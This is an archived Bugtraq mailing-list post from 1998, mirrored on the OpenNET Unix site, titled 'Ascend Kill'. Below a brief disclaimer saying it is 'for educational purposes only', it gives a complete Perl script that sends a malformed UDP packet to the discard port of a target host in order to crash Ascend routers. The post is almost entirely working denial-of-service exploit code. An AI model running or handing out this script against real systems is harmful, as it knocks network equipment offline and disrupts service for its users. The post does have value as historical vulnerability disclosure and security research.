The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Хинт: Ищите информацию по настройке PPP соедиинения под UNIX ? Рекомендую посмотреть следующие статьи.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

Ascend Kill


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
X-RDate: Mon, 23 Mar 1998 09:25:51 +0500 (ESK)
Date: Fri, 20 Mar 1998 10:49:14 +0100
From: Thomas Michaux <Thomas.Michaux@cge.net>
To: BUGTRAQ@NETSPACE.ORG
Subject: Ascend Kill

#  NOTE: This program is NOT to be used for malicous purposes.  This is
#        intenteded for educational purposes only.  By using this
program
#        you agree to use this for lawfull purposes ONLY.


#!/usr/local/bin/perl
$| = 1;
use IO::Socket;
use Socket;

$sock = IO::Socket::INET->new(PeerPort => 'discard(9)',PeerAddr =>
'host.domain', Proto => 'udp') or die "Socket:$!";

$msg = pack("c64",
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53);

for ($i=0; $i<500; $i++) {
  $msg .= pack("c1", 0xff);
}

$sock->send($msg) || die "send:$!";
print "Message sent\n";
$sock->close();

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList